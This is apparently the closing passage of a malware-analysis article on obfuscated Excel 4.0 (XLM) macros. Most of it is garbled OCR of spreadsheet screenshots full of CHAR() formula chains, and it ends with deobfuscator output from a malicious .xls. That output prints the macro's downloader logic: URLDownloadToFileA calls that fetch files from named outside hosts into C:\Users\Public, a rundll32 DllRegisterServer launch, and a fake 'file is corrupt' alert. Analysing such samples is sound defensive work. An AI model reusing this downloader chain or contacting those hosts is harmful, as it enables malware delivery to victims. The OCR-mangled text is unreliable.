Paste 7 77139 57140 57140 57141 57143 57144 57145 57146	Home     Inset     Page Layout     Formulas     Data     Review     View     Q reline what you what you what you       & Gut     Calibri     III     A*     IIII     IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII	Conditional Formats Normal Bad Good Neutral Catculation and Formating Table Catculation Formats For Sector Stress Syles - GMI0338)&CHAR(CK33913*BJ4525)&CHAR(CB4507*FR56688)&CHAR(DIS9083/P50255)&CHAR(AR51698-HE952)&CHAR(CK33913+CK45619)&CHAR(GF45445/L45072)&CHAR(AR51698-HE952)&CHAR(CK3913+CK45619)&CHAR(GF45445/L45072)&CHAR(AR51698-HE952)&CHAR(CK3913+CK45619)&CHAR(GF45445/L45072)&CHAR(AR51698-HE952)&CHAR(CB4507*FR56688)&CHAR(DIS9083/P50255)&CHAR(CK3913+CK45619)&CHAR(GF45445/L45072)&CHAR(AR51698-HE952)&CHAR(CK3913+CK45619)&CHAR(GF45445/L45072)&CHAR(AR51698-HE952)&CHAR(CK3913+CK45619)&CHAR(GF45445/L45072)&CHAR(AR51698-HE952)&CHAR(CK3913+CK45619)&CHAR(GF45445/L45072)&CHAR(AR51698-HE952)&CHAR(CK3913+CK45619)&CHAR(GF45445/L45072)&CHAR(AR51698-HE952)&CHAR(CK3913+CK45619)&CHAR(GF45445/L45072)&CHAR(AR51698-HE952)&CHAR(CK3913+CK45619)&CHAR(GF45445/L45072)&CHAR(AR51698-HE952)&CHAR(CK3913+CK45619)&CHAR(GF45445/L45072)&CHAR(AR51698-HE952)&CHAR(CK3913+CK45619)&CHAR(GF45445/L45072)&CHAR(AR51698-HE952)&CHAR(CK3913+CK45619)&CHAR(GF45445/L45072)&CHAR(AR51698-HE952)&CHAR(CK3913+CK45619)&CHAR(GF45445/L45072)&CHAR(AR51698-HE952)&CHAR(CK3913+CK45619)&CHAR(HW45041-DU54703)&CHAR(GF45445/L45072)&CHAR(AR51698-HE952)&CHAR(CK3913+CK45619)&CHAR(HW45041-DU54703)&CHAR(GF45445/L45072)&CHAR(AR51698-HE952)&CHAR(CK3913+CK45619)&CHAR(HW45041-DU54703)&CHAR(GF45445/L45072)&CHAR(AR51698-HE952)&CHAR(CK3913+CK45619)&CHAR(HW45041-DU54703)&CHAR(GF45445/L45072)&CHAR(AR51698-HE952)&CHAR(	kCHAR( ~
G257 Paste 57139 57140 57141 57142 57143 57144 57145 57146 57145	Home       Inset       Rege Layout       Formulas       Data       Review       View       Q Tell me what you want you.         & Gut       Calibri       III       A <sup>+</sup> A <sup>+</sup> =       =       Wiew       Q Tell me what you want you.         & Formut Planter       B / U + III       A <sup>+</sup> A <sup>+</sup> =       =       Wiew       Winy Test.       General       Image & Center + IIII       Image & Center + IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII	Conditional Formats Normal Bad Good Neutral Catculation and Formating Table - Defect Format States - Sort & Find & Sort & Find & - Gentional Formats - Cells - Defect Format - Cells -	sign in Q. Share
G2577139 57139 57140 57141 57142 57143 57144 57145 57144 57145 57146 57147 57148 57149	extRibut7Rod2Rod2rea & Gut B Copy + # Format Panter Calibri III A A A # Format Panter Format Panter Calibri III A A A # Format Panter Format Panter Calibri III A A A # Format Panter Format Panter For	Conditional Formates Normal Bad Good Neutral Linked Cell Note Internet Defet Format Sort & Find & Cell Note Internet Defet Format & Cell & Cel	kcHAR{ ~ 1098+CW25387]
G257 9aste 57139 57140 57141 57142 57143 57144 57145 57146 57145 57146 57147 57148 57149 57150	ext/tablic/2ce/ ext/tablic/2ce/ Source Sour	Conditional Formates Normal Bad Good Neutral Linked Cell Note Internet Performance South & England South & England South & England & Eng	A CHAR( *
C C C C C C C C C C C C C C C C C C C	ex/14/02/76/272ex ex/14/02/76/272ex S Gut S Gut	Conditional Formates Normal Bad Good Neutral Linked Cell Note Internet Defet Format Sort & Find & Cell Note & Cell & Note & Cell	xcHaR( ♥
27139 57139 57139 57140 57143 57144 57145 57144 57145 57144 57145 57148 57149 57150 57151 57152 57153 57153 57154 57154	ex/Mod/2Rod/2Rod Sout	Conditional Formates Normal Bad Good Neutral Linked Cell Note Internet Performance Perform	A CHAR( *
G257 57139 57140 57141 57145 57145 57145 57146 57146 57146 57146 57146 57147 57148 57146 57147 57148 57151 57152 57153 57155 57156 57156	ex/Mod/2Rod/2Rod Sout	Conditional Formates Normal Bad Good Neutral Linked Cell Note University Conditional Formates States Ford & Ford & Sort & Ford &	A CHAR( *
G257 57139 57140 57141 57145 57145 57145 57145 57145 57145 57150 57150 57151 57152 57154 57154 57155 57156 57157 57158	extRibutZkodZkod S Gut B Gog + S Gut B J U +	Conditional Formals Normal Bad Good Neutral Linked Cell Note University Conditional Formals Cells Formal States Series Series Series Cells	A CHAR ( V
G257 57139 57140 57141 57145 57145 57145 57145 57145 57151 57152 57153 57155 57155 57156 57157 57158 57150 57159 57159 57159 57159	extRibutZkodZkod S Gut B Gogs + F format Bainer F format B / U + - + - + + = = + W Wurp Test F format Bainer F Format C + + + + + + + + + + + + + + + + + +	Conditional Formates Normal Bad Good Neutral Linked Cell Note University Conditional Formates State Cells Format Conditional Formates State Cells Formation States States Forder Cells States Cells Ce	kcHaR[ ▼ 1099+W253877 1099+W253877
Paste Paste 57139 57140 57141 57143 57144 57145 57145 57145 57145 57155 57155 57155 57155 57155 57158 57159	extRibuTRocTrace Wind Text Page Layout formulas Data Review Verw ♀ I ell me what you want to do So for P Groups - # / Wind P at # /	Conditional Formates Normal Bad Good Neutral Linked Cell Note University Conditional Formates State Cells Sorte Formation Sort	kcHAR( ▼ 1699+CW25377
Paste 757139 57130 57140 57142 57145 57145 57145 57145 57145 57145 57155 57155 57155 57155 57155 57155 57155 57155 57156 57157 57158 57159 57160 57162 57163	extRibuTRootTexe Home birset Page Layout formulas Data Review Verw ♀ Iell me what you want to do b Cut B Copp - b I U + + + + + + + + + + + + + + + + + +	Conditional Formates Normal Bad Good Neutral Linked Cell Note University Conditional Formates State Cells Sorte Formation Sort	kcHAR( ¥
Paste 77139 77140 77140 77140 77140 77140 77143 77144 77145 77143 77144 77145 77143 77144 77145 77149 77140 77150 77160 77	ext/do2/Rod/2ka Wind fund Coppen Sout	Conditional Formals Normal Bad Good Neutral Linked Cell Note University Conditional Formals Conditional Formals Formation Street Formation Conditional Formals Formation Conditional Formation Con	kCHAR[ * 1699+CW25307]
C2257 57140 57147 57140 57147 57148 57145 57148 57147 57148 57147 57148 57147 57148 57147 57148 57147 57148 57147 57148 57147 57157 57158 57160 57161 57163 57166 57165 57168 57168 57168	Home     breat     Page Layout     Formulas     Data     Review     Verw     Q Tell me what you want to do       St Out     Bit U     IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII	Conditional Formatia Expeditional Formatia Formational Formational Formatia Formational Formational	kcHAR( v 1698+CW25377

With this explanation you have a basic understanding of the subject matter, now you can use a tool such as XLMMacroDeobfuscator to quickly solve the hidden XLM macro and save time. With this article I hope to provide insight for analysts who want to analyze XLM macros.

Hope to see you in the following articles.



C:\Users\Mert\Desktop>xlmdeobfuscator -f ea74b9a274c0c73cad990ddd089927b6.xls | more



Administrator: C:	\Windows\system32\cmd.exe	
CELL . ENEATER	FullFurlustion	GOTO(EH54156)
-kaus nhnuuu C	, FULLEVALUATION ,	FORMULA("=""https://eleventalents.com/wp
CELL:EH54157	, FullEvaluation ,	G0T0(J19413)
CELL:J19413	, FullEvaluation ,	FORMILA("=CALL(""ur]mon"",""  RLDownloadT
oFileA''','''JJC CELL:J19414	CJJ"",0,R[-12768]C[92],R[ , FullEvaluation ,	-9661 IC[-99 ],0,0)",DD14472)
CELL:DC17857	, FullEvaluation ,	GUIUCUCI78577
d or repaired CFLL:DC17858	by Microsoft Excel becaus FullFualuation	e it's corrupt.""",BE29066)
CELL . AU22EOE	PullEvaluation ,	GOTO(AU33595)
GETT:H033232	, FUILEVALUATION ,	FORMULA<"=ALERT <r[-30389]c[-124]>",FY594</r[-30389]c[-124]>
557 CELL:AV33596	, FullEvaluation ,	COTO/DI 4484E \
CELL: BI 44045	, FullEvaluation ,	
.exe""",AC3475	5)	FORMOLH("=""C:\Windows\System32\Pund1132
CELL: BI 44046	, FullEvaluation ,	RUN(Sheet2!BG20825)
CELL: BG20825	, FullEvaluation ,	FORMULA("=R[-20708]C[-100]&"",D11Registe
rServer''''',DE2 CELL:BG20826	5519) , FullEvaluation ,	
CELL:U19181	, FullEvaluation ,	GOTO(U19181)
eA'''', ''''JJCCCJJ	"",0,""open"",R[-7227]C[-	FORMULA<"=CALL<""Shell32"",""ShellExecut 70],R[-16463]C[10],0,5>",CU41982>
CELL:U19182	, FullEvaluation ,	RUN(Sheet2!AG5074)
CELL:AG5074	, FullEvaluation 💋 ,	CALL<"urlmon","URLDownloadToFileA","JJCC
JJ",0,"=""http ,0,0)	s://dehabadi.ir/wp-keys.p	hp""","=""C:\Users\Public\1A2282P.html"""
CELL:AG5075	, FullEvaluation ,	GOTO(FW37750)
CELL:FW37750	, PartialEvaluation ,	FILES("=""C:\Users\Public\1A2282P.html""
") CELL:FW37751	. FullEvaluation	
CFLL: F039179	FullBranching	RUN(Sheet2!EQ39179)
[341))	,	IF(ISERROR(R[-1429]C[32]),,RUN(R[20276]C
CELL: EQ39179	, FullEvaluation ,	TTRUE 1
CELL:EQ39180	, FullEvaluation ,	RUN(Sheet2#CR1704)
CELL:GR1704	, FullEvaluation ,	"https://eleventalents.com/um-ke
ys.php" CELL:GR1705	, FullEvaluation _ ,	
CELL:DD14472	, FullEvaluation 🔶 ,	
A","JJCCJJ",0,	"https://eleventalents.co	CHLLC"urImon", "URLDown loadToFile ≡ m/wp-keys.php", "=""C:\Users\Public\1A2282
CELL:DD14473	, FullEvaluation ,	DUM/Chast2+DE206//
CELL:BE29066	, FullEvaluation ,	KUN(Sheetz:BE29066)
r repaired by CELL:BE29067 More	Microsoft Excel because i , FullEvaluation ,	t's corrupt."

Note: For those looking for more resources on XLM macro analysis, I recommend looking at these articles (#1, #2, #3, #4, #5) as well. These articles will give more information about the analysis of XLM macros and methods that you can use.